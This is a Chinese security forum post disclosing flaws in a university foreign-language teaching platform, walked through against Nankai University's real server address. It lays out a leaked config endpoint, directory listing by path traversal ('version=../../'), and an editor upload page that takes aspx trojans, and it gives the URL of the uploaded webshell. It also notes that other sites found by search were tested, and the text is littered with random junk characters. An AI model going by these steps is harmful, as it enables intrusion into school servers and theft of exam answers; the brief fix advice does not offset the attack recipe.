找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2445|回复: 0
打印 上一主题 下一主题

新理念外语网络教学平台文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:10:29 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中
2 s- p1 d% e; t1 D$ U* I# ^) J8 Q8 a/ h
详细说明:
( D1 K8 |! \9 \7 P( Q& T, z) j- o 4 P& O0 Y  U! \  K3 `
以南开大学的为例: 8 w) X4 w# @4 m+ N' N
http://222.30.60.3/NPELS6 v: m2 l: X3 E' Q0 G
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
/ c( I3 Z' h" B<setting name="Update_CommonSvr_CommonService" serializeAs="String">7 v6 g1 q9 G1 Q: H
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>% c  V7 T! L& \
</setting>+ J- s7 X1 q* U& w6 u
及版本号
8 Z  |9 I3 v; Y% S9 f<add key="TVersion" value="1, 0, 0, 2187">/ Y) z/ u' b" u7 f
</add>
3 u: E, v5 Y# S/ x直接访问4 E) y0 \! `; G' s
http://222.30.60.3/NPELS/CommonService.asmx
! E9 W7 K) t; I* o2 N9 Y3 N& V使用GetTestClientFileList操作,直接 HTTP GET 列目录:8 Q' X5 O6 ^3 B# t0 D# g: C
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
7 \+ M2 `- _- b+ h7 ^  E% Q& E进一步列目录(返回的网页很大,可以直接 wget 下来); Z, B4 e3 R( Z& R
http://222.30.60.3/NPELS/CommonS ... List?version=../../
* ]/ J3 x" r2 N1 b7 ?" [- N8 }9 Z ! ?! d. o& T( d2 k# s
发现
  h" ~" R2 z0 G( W- A( b  i, phttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm& N/ B- B  S1 r3 \- d( u# X' @
可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头
5 w: p9 P( ^. e  f( }上传后继续列目录找到木马地址直接访问即可
. y' U. x) C% \5 r; v) s9 g; x/ x   j% o6 p  V0 ]: e; K
OOXX
. z, a3 w5 W3 s* w
. f0 k$ q1 t0 H8 x! U/ UGoogle "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法
0 e  e" }% h% Q/ h  s8 _, z6 b% G漏洞证明:
  U+ y7 B8 A. j
" X) K7 H3 b* [. E. U% x列目录:$ u* T! C2 D& t$ v* ^. T- L
http://222.30.60.3/NPELS/CommonS ... List?version=../../; }* R) }3 ^/ m
文件上传:- N& C, g: G! `/ U# n# z  n# K
http://222.30.60.3/npelsv/editor/editor.htm
! `5 p( G9 y; I2 n
) c% H" \( I+ @6 ~  a+ d上传木马:
% K8 ~2 R6 T3 M& H( @1 lhttp://222.30.60.3/npelsv/editor/uploadfiles/1.aspx# N" Y* i4 u2 c) ?% V

# @% I/ C+ h+ m3 W9 o修复方案:
% B6 A; W& V: `6 J7 S好像考试系统必须使用 CommonService.asmx
2 K, h% H; O; B! v- D" ]最好配置文件加密或者用别的方式不让它泄露出来
$ ^1 R2 t5 k$ Y& g; t: t# g. M并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样​% {. I& L9 ]# v2 K$ }, {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表